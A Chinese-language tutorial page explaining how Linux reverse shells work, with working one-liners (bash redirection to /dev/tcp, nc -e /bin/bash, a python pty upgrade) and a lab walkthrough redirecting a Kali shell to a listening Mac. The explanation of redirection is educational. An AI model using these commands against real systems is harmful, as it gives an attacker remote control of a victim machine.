当前位置: 首页 > 编程笔记 >

linux反弹shell的原理详解

孔华池
2023-03-14
本文向大家介绍linux反弹shell的原理详解,包括了linux反弹shell的原理详解的使用技巧和注意事项,需要的朋友参考一下

完整命令

反弹shell命令:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1

利用nc反弹shell:

nc -lvvp 12345 -t -e /bin/bash

原理

bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打开一个交互式的bash
&是为了区分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表输入 ,0>&1 意思是,将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口,即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为,将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。

实验

通过一个小实验帮助大家理解

第一步,将shell的正确输出重定向到外部主机

假设我们在kali上输入的命令为:
bash -i > /dev/tcp/192.168.124.1/9999,这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。

在mac上监听端口命令为:nc -l 9999

首先在kali上输入whoami命令,发现没有回显,因为回显被重定向到了mac上。

但是当我们在kali上出入错误命令的时候,却存在回显。

第二步,将错误输出重定向到外部主机

我们只需要在上面的命令后面加上 2>&1即可,意思为将错误输出重定向到标准输出上,也就是重定向到我们的外部主机。

这时候发现在kali上按键盘已经没有任何回显了,回显全部出现在了mac的shell上:

这是因为我们已经将所有的输出都重定向到了外部主机上,但问题是现在我们的控制权还在kali上,mac无法进行任何输出操作,只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。

第三步,交出输入权限

只需要在第二步命令的基础上加上 0>&1即可。

这时候已经可以在mac上完全控制kali的shell了,实验结束。

其他

当shell不稳定时候用python的虚拟化终端:

python -c "import pty;pty.spawn('/bin/bash')"

参考:
https://www.freebuf.com/news/142195.html #将shell转换成完全tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017

到此这篇关于linux反弹shell的原理详解的文章就介绍到这了,更多相关linux反弹shell内容请搜索小牛知识库以前的文章或继续浏览下面的相关文章希望大家以后多多支持小牛知识库!

 类似资料:
  • 本文向大家介绍浅析Linux之bash反弹shell原理,包括了浅析Linux之bash反弹shell原理的使用技巧和注意事项,需要的朋友参考一下 环境 攻击机:kali            ip:192.168.25.144 靶    机:centos      ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 攻击机

  • 本文向大家介绍Linux下NC反弹shell命令(推荐),包括了Linux下NC反弹shell命令(推荐)的使用技巧和注意事项,需要的朋友参考一下 本机开启监听: 目标机器开启反弹 bash版本: perl版本: php版本: ruby版本: python版本: nc版本: java版本: lua版本: NC版本不使用-e参数: 以上所述是小编给大家介绍的Linux下NC反弹shell命令,希望对

  • 本文向大家介绍linux下的yum命令原理和详解,包括了linux下的yum命令原理和详解的使用技巧和注意事项,需要的朋友参考一下 yum(全称为 Yellow dog Updater, Modified)是一个在Fedora和RedHat以及SUSE中的Shell前端软件包管理器。基於RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软体包,

  • 本文向大家介绍LINUX中NGINX反向代理下的TOMCAT集群(详解),包括了LINUX中NGINX反向代理下的TOMCAT集群(详解)的使用技巧和注意事项,需要的朋友参考一下 Nginx具有反向代理(注意和正向代理的区别)和负载均衡等特点。 这次Nginx安装在 192.168.1.108 这台linux 机器上。安装Nginx 先要装openssl库,gcc,PCRE,zlib库等。 Tom

  • 本文向大家介绍Python自省及反射原理实例详解,包括了Python自省及反射原理实例详解的使用技巧和注意事项,需要的朋友参考一下 Python中的自省与反射   由于Python是一门强类型的动态解释型语言,故我们在某些时候并不会知道(特别是与别人对接开发工作的时候)对象中具有的属性与方法。   这个时候我们并不能直接通过 .或者查看底层的 __dict__ 方法来获得该对象下的属性与方法,我们

  • 本文向大家介绍PHP反射机制原理与用法详解,包括了PHP反射机制原理与用法详解的使用技巧和注意事项,需要的朋友参考一下 本文实例讲述了PHP反射机制原理与用法。分享给大家供大家参考,具体如下: 反射 面向对象编程中对象被赋予了自省的能力,而这个自省的过程就是反射。 反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。 反射